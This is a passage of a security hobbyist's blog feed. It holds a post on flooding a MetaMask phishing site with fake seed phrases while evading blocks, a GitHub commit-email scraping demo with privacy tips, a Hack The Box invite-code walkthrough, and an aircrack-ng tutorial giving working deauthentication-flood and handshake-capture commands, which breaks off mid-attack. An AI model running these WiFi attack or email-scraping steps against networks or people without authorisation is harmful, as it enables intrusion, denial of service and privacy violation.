</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>After that, I left my script running overnight:</p>
<img src="/retaliating-against-metamask-scammers/script-output-2.webp" alt="script output with loop" width="720" height="503" style="max-width: 100%; height: auto; aspect-ratio: 1663 / 1163;" loading="lazy" decoding="async">
<p>The morning after, I noticed that my script output was stuck along with a new response message&hellip;</p>
<img src="/retaliating-against-metamask-scammers/scammer-response.webp" alt="scammer response" width="720" height="503" style="max-width: 100%; height: auto; aspect-ratio: 1662 / 1163;" loading="lazy" decoding="async">
<p>I guess they caught on LOL. They blocked my IP address from sending requests, so I simply changed my IP address and carried on.</p>
<blockquote><p><strong>2022-07-25 Update:</strong></p><p>I should have included headers in my requests to make them look as legitimate as possible. The <code>requests</code> Python package sends the version of the package itself in the <code>User-Agent</code> header, giving away the fact that Python is being used to send requests.</p>
<p>The following code shows an example of the <code>User-Agent</code> being sent:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://google.com&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; {&#39;User-Agent&#39;: &#39;python-requests/2.27.1&#39;, &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;, &#39;Accept&#39;: &#39;*/*&#39;, &#39;Connection&#39;: &#39;keep-alive&#39;}</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>Using 

<a href="https://www.obdev.at/products/littlesnitch/index.html" target="_blank" rel="noopener">Little Snitch</a> I was able to see that this IP address originates from Russia, which I thought was interesting.</p>
<img src="/retaliating-against-metamask-scammers/little-snitch.webp" alt="Little Snitch connection to Russia" width="720" height="304" style="max-width: 100%; height: auto; aspect-ratio: 3380 / 1429;" loading="lazy" decoding="async">
<h2 id="final-thoughts">Final Thoughts</h2>
<p>I hate scammers. I hope I made their lives difficult.
If they&rsquo;re smart, they&rsquo;ll filter out seed phrases coming in from my IP address in their database.
But considering that their fake MetaMask site doesn&rsquo;t use a domain or SSL, they probably aren&rsquo;t very bright.
Even if my original IP address was blocked, I&rsquo;m sure the seed phrases I provided polluted their database. I doubt they&rsquo;re keeping track of IP addresses at the database level.</p>
<p>If you enjoyed this you&rsquo;ll probably enjoy this other post where I was messing with scammers: 

<a href="https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/">Using Python to Flood Scammers with Fake Passwords</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Scraping GitHub Contributor Emails</title>
      <link>https://nelson.cloud/scraping-github-contributor-emails/?ref=rss</link>
      <pubDate>Sat, 30 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/scraping-github-contributor-emails/?ref=rss</guid>
      <description>Scraping GitHub contributor emails, and how you can protect yourself.</description><content:encoded><![CDATA[<blockquote><p><strong>Note:</strong></p>2022-07-21 update: I discovered a better way to do this and I wrote about it in a separate blog post. Check it out here: 

<a href="https://nelson.cloud/scrape-contributor-emails-from-any-git-repository/" target="_blank" rel="noopener">Scrape Contributor Emails From Any Git Repository</a></blockquote>

<h2 id="git-emails">Git Emails</h2>
<p>When setting up Git on the command line, you are asked for your email.
When pushing commits to GitHub, the email you are using for Git gets pushed along with your code as part of the metadata.
While your GitHub email does not publicly show when viewing a repository&rsquo;s commits, it does come up when viewing commits using the GitHub API.</p>
<p>This presents a privacy risk and the potential for someone to find the email associated with your GitHub account.
I wanted to see how easily someone could do this so I created a scraper to do this for me. It turns out it&rsquo;s not hard to scrape commits for emails that are otherwise hidden from public view.</p>
<blockquote><p><strong>Disclaimer:</strong></p>I don&rsquo;t plan on doing anything malicious with this script or the emails collected. I did this out of curiosity and for demonstrational purposes.</blockquote>

<p>The scraper I created is below. Instructions can be found on the README:</p>
<ul>
<li>

<a href="https://github.com/nelsonfigueroa/github-email-scraper" target="_blank" rel="noopener">https://github.com/nelsonfigueroa/github-email-scraper</a></li>
</ul>
<h2 id="scraping-for-emails">Scraping for Emails</h2>
<p>By running the script, I can scrape for emails found in each commit for a given repository:</p>
<pre tabindex="0"><code>$ ruby main.rb -u torvalds -r linux

	+-------------------+
	|   GitHub          |
	|       Email       |
	|         Scraper   |
	+-------------------+


Scraping https://github.com/torvalds/linux/
Rate limit exceeded.
Pages scraped: 1-46 out of 10449
53 emails written to torvalds-linux.txt
</code></pre><p>Just like that, I&rsquo;ve scraped several emails. It&rsquo;s not much, and I could get a lot more if I bothered to authenticate to prevent rate limiting.
A patient scraper could simply run this periodically to get as many emails as possible.</p>
<p>So what can we do about this?</p>
<h2 id="hiding-your-email-in-github-commits">Hiding your Email in GitHub Commits</h2>
<p>You can choose to hide your email when performing Git operations on the GitHub site as well as the command line. There are two checkboxes you&rsquo;ll need to tick. Instructions are below:</p>
<ul>
<li>

<a href="https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address" target="_blank" rel="noopener">Blocking command line pushes that expose your personal email address</a></li>
</ul>
<p>Next, you&rsquo;ll need to change your email Git uses on your machine to the <code>@users.noreply.github.com</code> email that GitHub provided in the previous step. Run the following:</p>
<pre tabindex="0"><code>$ git config --global user.email &#34;00000000+yourusername@users.noreply.github.com&#34;
</code></pre><p>Then verify that the email has been set:</p>
<pre tabindex="0"><code>$ git config --global user.email
00000000+yourusername@users.noreply.github.com
</code></pre><p>Now your actual email will be hidden from Git commits that have been pushed from your machine as well as any Git operations on GitHub. Note that your email will still show up in older commits that were pushed before these changes.
However, this will still improve your privacy on GitHub going forward.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hacking into Hack The Box</title>
      <link>https://nelson.cloud/hacking-into-hack-the-box/?ref=rss</link>
      <pubDate>Mon, 06 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/hacking-into-hack-the-box/?ref=rss</guid>
      <description>Getting the invite code to Hack The Box</description><content:encoded><![CDATA[<img src="/hacking-hack-the-box/hackthebox.webp" alt="Hack The Box Logo" width="720" height="270" style="max-width: 100%; height: auto; aspect-ratio: 800 / 300;" loading="lazy" decoding="async">
<p>Hack The Box is an online penetration testing platform where users can practice their hacking abilities and test their cybersecurity knowledge. What&rsquo;s interesting is that in order to sign up to the site in the first place, you need to hack your way in. In this post, I&rsquo;ll be showing how I managed to get in and what my thought process was along the way.</p>
<blockquote><p><strong>Note:</strong></p>2022-12-10 Update: I noticed that hackthebox no longer requires users to solve a puzzle to register, so this post no longer applies :(</blockquote>

<p>To sign up to the site, I was redirected to 

<a href="https://www.hackthebox.eu/invite" target="_blank" rel="noopener">https://www.hackthebox.eu/invite</a>. There is a single field that prompts for an invite code. Other than that, there are no clues on the surface.</p>
<img src="/hacking-hack-the-box/invitecode.webp" alt="Invite code field" width="610" height="260" style="max-width: 100%; height: auto; aspect-ratio: 610 / 260;" loading="lazy" decoding="async">
<p>The first thing I did was to inspect the code by simply right-clicking on the page and selecting &lsquo;View Page Source&rsquo;. Once I had the raw code in front of me, I tried to look for any clues as to how to get in. I ended up finding a JavaScript file that looked like exactly what I needed due to its name: 

<a href="https://www.hackthebox.eu/js/inviteapi.min.js" target="_blank" rel="noopener">inviteapi.min.js</a>. However, it was minified and hard to decipher just by looking at it:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">eval</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">p</span><span class="p">,</span><span class="nx">a</span><span class="p">,</span><span class="nx">c</span><span class="p">,</span><span class="nx">k</span><span class="p">,</span><span class="nx">e</span><span class="p">,</span><span class="nx">d</span><span class="p">){</span><span class="nx">e</span><span class="o">=</span><span class="kd">function</span><span class="p">(</span><span class="nx">c</span><span class="p">){</span><span class="k">return</span> <span class="nx">c</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">36</span><span class="p">)};</span><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="s1">&#39;&#39;</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/^/</span><span class="p">,</span><span class="nb">String</span><span class="p">)){</span><span class="k">while</span><span class="p">(</span><span class="nx">c</span><span class="o">--</span><span class="p">){</span><span class="nx">d</span><span class="p">[</span><span class="nx">c</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="nx">a</span><span class="p">)]</span><span class="o">=</span><span class="nx">k</span><span class="p">[</span><span class="nx">c</span><span class="p">]</span><span class="o">||</span><span class="nx">c</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="nx">a</span><span class="p">)}</span><span class="nx">k</span><span class="o">=</span><span class="p">[</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">){</span><span class="k">return</span> <span class="nx">d</span><span class="p">[</span><span class="nx">e</span><span class="p">]}];</span><span class="nx">e</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span><span class="k">return</span><span class="s1">&#39;\\w+&#39;</span><span class="p">};</span><span class="nx">c</span><span class="o">=</span><span class="mi">1</span><span class="p">};</span><span class="k">while</span><span class="p">(</span><span class="nx">c</span><span class="o">--</span><span class="p">){</span><span class="k">if</span><span class="p">(</span><span class="nx">k</span><span class="p">[</span><span class="nx">c</span><span class="p">]){</span><span class="nx">p</span><span class="o">=</span><span class="nx">p</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="s1">&#39;\\b&#39;</span><span class="o">+</span><span class="nx">e</span><span class="p">(</span><span class="nx">c</span><span class="p">)</span><span class="o">+</span><span class="s1">&#39;\\b&#39;</span><span class="p">,</span><span class="s1">&#39;g&#39;</span><span class="p">),</span><span class="nx">k</span><span class="p">[</span><span class="nx">c</span><span class="p">])}}</span><span class="k">return</span> <span class="nx">p</span><span class="p">}(</span><span class="s1">&#39;1 i(4){h 8={&#34;4&#34;:4};$.9({a:&#34;7&#34;,5:&#34;6&#34;,g:8,b:\&#39;/d/e/n\&#39;,c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:&#34;7&#34;,5:&#34;6&#34;,b:\&#39;/d/e/k/l/m\&#39;,c:1(0){3.2(0)},f:1(0){3.2(0)}})}&#39;</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span><span class="s1">&#39;response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify&#39;</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">&#39;|&#39;</span><span class="p">),</span><span class="mi">0</span><span class="p">,{}))</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>So I figured the next step would be to beautify the code. I opened up a new browser tab and searched for &ldquo;javascript beautify&rdquo; on google. I opened the first result, 

<a href="https://beautifier.io/" target="_blank" rel="noopener">https://beautifier.io/</a>, and copied and pasted the minified code to get some readable code. This was the result:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">verifyInviteCode</span><span class="p">(</span><span class="nx">code</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">formData</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;code&#34;</span><span class="o">:</span> <span class="nx">code</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">type</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">dataType</span><span class="o">:</span> <span class="s2">&#34;json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">data</span><span class="o">:</span> <span class="nx">formData</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="s1">&#39;/api/invite/verify&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">success</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nx">error</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">makeInviteCode</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">        <span class="nx">type</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">dataType</span><span class="o">:</span> <span class="s2">&#34;json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">url</span><span class="o">:</span> <span class="s1">&#39;/api/invite/how/to/generate&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nx">success</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nx">error</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Just looking at the names of the functions confirmed to me that I was on the right path. Since I needed an invite code, I decided to run <code>makeInviteCode()</code> first in my browser&rsquo;s console and got this JSON in return:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;0&#34;</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;success&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="s2">&#34;Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/vaivgr/trarengr&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;enctype&#34;</span><span class="p">:</span> <span class="s2">&#34;ROT13&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>data</code> clearly looks like encrypted text. And we even get the <code>enctype</code> telling us what form of encryption was used: ROT 13. Once again, I opened up a new browser tab and searched for &ldquo;ROT 13 decrypt&rdquo;. I chose 

<a href="https://cryptii.com/pipes/rot13-decoder" target="_blank" rel="noopener">this website</a></p>
<p>Using the tool, I decrypted the string and got the result: &ldquo;In order to generate the invite code, make a POST request to /api/invite/&rdquo;</p>
<img src="/hacking-hack-the-box/rot13site.webp" alt="Site used to decrypt ROT13 cipher" width="720" height="158" style="max-width: 100%; height: auto; aspect-ratio: 1820 / 400;" loading="lazy" decoding="async">
<p>Now, to make a <code>POST</code> request to <code>https://hackthebox.eu/api/invite/</code> I used 

<a href="https://httpie.org/" target="_blank" rel="noopener">HTTPie</a>. It was as easy as running the following:</p>
<pre tabindex="0"><code>$ http post https://www.hackthebox.eu/api/invite/generate
</code></pre><p>And I got the following JSON response:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;0&#34;</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;code&#34;</span><span class="p">:</span> <span class="s2">&#34;QUpXRlAtR01QUlgtSVhSUFQtQ0dBVUEtUklNWE4=&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;encoded&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;success&#34;</span><span class="p">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code appears to be encoded. Based on previous experience, encoded strings that end with a <code>=</code> are generally encoded in base64. I could be wrong, but I decided to try decoding it as a base64 string anyway:</p>
<pre tabindex="0"><code>$ echo QUpXRlAtR01QUlgtSVhSUFQtQ0dBVUEtUklNWE4= | base64 --decode

AJWFP-GMPRX-IXRPT-CGAUA-RIMXN
</code></pre><p>That looked like a code to me. I tried it on the form, and sure enough it worked! I was in.</p>
<img src="/hacking-hack-the-box/congrats.webp" alt="Congratulations screen" width="700" height="300" style="max-width: 100%; height: auto; aspect-ratio: 700 / 300;" loading="lazy" decoding="async">
<p>It was a lot of fun trying to figure this out. That was the easiest part though. Next, I&rsquo;ll try to root some actual machines in Hack The Box&rsquo;s pentesting labs.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Wifi Hacking with aircrack-ng</title>
      <link>https://nelson.cloud/wifi-hacking-with-aircrack-ng/?ref=rss</link>
      <pubDate>Thu, 26 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/wifi-hacking-with-aircrack-ng/?ref=rss</guid>
      <description>A guide to using aircrack-ng to bruteforce a router&amp;rsquo;s password</description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<blockquote><p><strong>Note:</strong></p>This post is an organized re-write of notes I took in 2017. As such, this guide may now be outdated.</blockquote>

<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. Do not try to break into access points that do not belong to you.</blockquote>

<p>I used 

<a href="https://www.kali.org/" target="_blank" rel="noopener">Kali Linux</a> for the entire process, but the process should be very similar for any Linux distribution. <code>aircrack-ng</code> is already included on Kali Linux but you can install it on any Linux OS.</p>
<h2 id="what-is-aircrack-ng">What is aircrack-ng?</h2>
<p><code>aircrack-ng</code> is a complete suite of tools to assess WiFi network security. It can be used to scan wifi signals and to perform denial-of-service (DOS) attacks among other things. Read more about it on the 

<a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener">official aircrack-ng website</a>.</p>
<p>The goal in this post is to use the tools included in <code>aircrack-ng</code> to:</p>
<ol>
<li>Scan for nearby routers</li>
<li>Send spoofed deauthentication packets on behalf of a connected client</li>
<li>Capture the 4-way handshake hash</li>
<li>Crack the hash, which reveals the password of the router in plaintext</li>
</ol>
<h2 id="hardware-requirements">Hardware requirements</h2>
<p>To use <code>aircrack-ng</code> you&rsquo;ll need a wireless network adapter that has monitor mode and packet injection capabilities. Feel free to do some research about your particular card and its compatibility. There&rsquo;s a good guide on 

<a href="https://www.aircrack-ng.org/doku.php?id=compatible_cards" target="_blank" rel="noopener">the aircrack-ng site</a> that can help you with research. You can also do what I did and buy a cheap USB wireless adapter with these capabilities. I have the 

<a href="https://www.amazon.com/Panda-2-4GHz-300Mbps-Wireless-Adapter/dp/B00U2SIS0O/" target="_blank" rel="noopener">Panda Wireless N600</a> and it works perfectly fine on my Macbook Pro.</p>
<h2 id="installation">Installation</h2>
<p>If you&rsquo;re not on Kali Linux, <code>aircrack-ng</code> is most likely available through your preferred package manager. For Windows users, refer to the 

<a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener">official aircrack-ng site</a> to download the suite. On MacOS using 

<a href="https://brew.sh/" target="_blank" rel="noopener">Homebrew</a> you can run <code>brew install aircrack-ng</code></p>
<h2 id="setting-up-monitor-mode">Setting up monitor mode</h2>
<p>We&rsquo;ll need to set up monitor mode in our wireless network adapter. Monitor mode allows the wireless network interface to capture all wireless traffic. This means we&rsquo;ll be able to see nearby wireless access points and devices connected to each one.</p>
<p>To set the network adapter to monitor mode, first find the name of the interface as your system detects it. You can see this using <code>ifconfig</code>. In my case, the interface name of my USB wireless adapter is <code>wlan0</code>. I can set it to monitor mode using the following commands:</p>
<pre tabindex="0"><code>$ ifconfig wlan0 down

$ iwconfig wlan0 mode monitor

$ ifconfig wlan0 up
</code></pre><p>Now, we need to check that no processes interfere with the <code>airmon-ng</code> tool, which is part of the <code>aircrack-ng</code> suite. To do this, run:</p>
<pre tabindex="0"><code>$ airmon-ng check wlan0
</code></pre><p>You&rsquo;ll get an output similar to the following:</p>
<pre tabindex="0"><code>Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run &#39;airmon-ng check kill&#39;

 PID Name
 1229 NetworkManager
 1329 wpa_supplicant
 3383 dhclient
</code></pre><p>We&rsquo;ll need to kill all those processes to prevent any issues. Simply issue <code>kill</code> commands for each process ID. Run <code>airmon-ng check</code> once again to be sure that all is well. We are now ready to scan for access points.</p>
<h2 id="scanning-for-access-points">Scanning for access points</h2>
<p>To run a wireless scan using a particular interface, run the following command:</p>
<pre tabindex="0"><code>$ airodump-ng wlan0
</code></pre><p>Your terminal screen will fill up with something like this:</p>
<pre tabindex="0"><code> CH 10 ][ Elapsed: 0 s ][ 2019-09-27 21:57

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 51:EF:63:2E:47:72  -55        0        0    0   3  -1                    &lt;length:  0&gt;
 7C:B1:DF:B9:12:59  -42        3        0    0   7  130  WPA2 CCMP   PSK  Lower The Rent
 DA:4B:77:1A:84:50  -75        2        0    0   1  195  WPA2 CCMP   PSK  Spectrum
 19:7H:8D:73:97:FE  -77        2        0    0   1  195  WPA2 CCMP   PSK  MyWifi
 DA:F4:AC:DC:31:A7  -75        2        0    0   1  130  WPA2 CCMP   PSK  Home
 19:AD:EF:C4:0A:36  -71        3        0    0   1  195  WPA2 CCMP   PSK  Verizon
 5D:19:32:EA:E0:66  -62        3        0    0   1  360  WPA2 CCMP   PSK  Cali
 F5:10:4E:EA:E0:63  -62        3        0    0   1  360  WPA2 CCMP        &lt;length:  0&gt;
 A2:72:C3:EA:E0:69  -62        3        0    0   1  360  OPN              &lt;length:  0&gt;
 9D:58:61:62:68:21  -63        3        0    0   1  130  WPA2 CCMP   PSK  INTERNET
 ED:3D:D4:64:A4:6C  -79        2        0    0   1   65  WPA2 CCMP   PSK  OfficeJet
 33:B5:E2:92:08:33  -66        4        0    0   9  260  OPN              Test-guest

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 (not associated)   88:D6:CD:88:4C:9D  -47    0 - 1     95        5
 (not associated)   93:1E:44:10:82:3A  -63    0 - 1      0        2
 7C:B1:DF:B9:12:59  49:12:C4:53:EF:4A  -29    0 - 1      0        1
</code></pre><p>You&rsquo;ll see a list of access points and devices associated with each access point. You&rsquo;ll notice there are acronyms above each column. Here&rsquo;s a list of the ones we care about and what they mean:</p>
<ul>
<li>BSSID - MAC Address of the access point</li>
<li>PWR - Strength of the signal. The closer to 0, the better</li>
<li>CH - Channel</li>
<li>ESSID - Name of access point</li>
<li>STATION - Device connected to access point (Laptop, smartphone, etc)</li>
</ul>
<p>Now lets select an access point and run a scan on only that particular device. We&rsquo;ll capture traffic and save it to a file. You&rsquo;ll need to make note of the BSSID and channel of the access point. In my case, my router&rsquo;s ESSID is &ldquo;Lower The Rent&rdquo;. We&rsquo;ll scan it using the following command formula:</p>
<pre tabindex="0"><code>$ airodump-ng -c [channel number] -w [filename for output] --bssid [MAC Address of A.P.] [your interface]
</code></pre><p>In my case, the full command looks like this:</p>
<pre tabindex="0"><code>$ airodump-ng -c 7 -w SCAN_OUTPUT --bssid 7C:B1:DF:B9:12:59 wlan0
</code></pre><p>Here&rsquo;s the output:</p>
<pre tabindex="0"><code> CH  7 ][ Elapsed: 24 s ][ 2019-09-27 22:05

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 7C:B1:DF:B9:12:59  -47 100      231       92    0   7  130  WPA2 CCMP   PSK  Lower The Rent

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 7C:B1:DF:B9:12:59  49:12:C4:53:EF:4A  -31    0e- 1      0      130
</code></pre><p>You&rsquo;ll be able to see the access point and associated devices. This provides a much cleaner look instead of your terminal screen being full of information. We can see that there is a single device associated with the access point.</p>
<p>Now we can commence an attack.</p>
<h2 id="attacking-an-access-point">Attacking an access point</h2>
<p>We&rsquo;ll be flooding the access point with deauthentication frames to keep devices from reconnecting to it. As they try to reconnect, we&rsquo;ll be able to capture the 4-way handshake. This can also be used to simply perform DOS attacks on an access point. Keep in mind you won&rsquo;t be able to capture the handshake if there are no devices associated to the access point. If there are no devices associated, there is nothing conducting the authentication process which you can capture.</p>
<p>While leaving the previous <code>airodump-ng</code> command running in a separate tab or window, open another tab to run the deauthentication command. The command is as follows:</p>
<pre tabindex="0"><code>$ aireplay-ng -0 0 -a 7C:B1:DF:B9:12:59 wlan0
</code></pre><p>The BSSID we specify is that of the access point. It is possible to limit the amount of deauthentication frames to send, but in this case we are sending an infinite amount specified with <code>-0 0</code>.</p>
<p>The output for the <code>aireplay-ng</code> command will look like this:</p>
<pre tabindex="0"><code>03:24:06  Waiting for beacon frame (BSSID: 7C:B1:DF:B9:12:59) on channel 7
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client&#39;s mac&gt;).
03:24:06  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
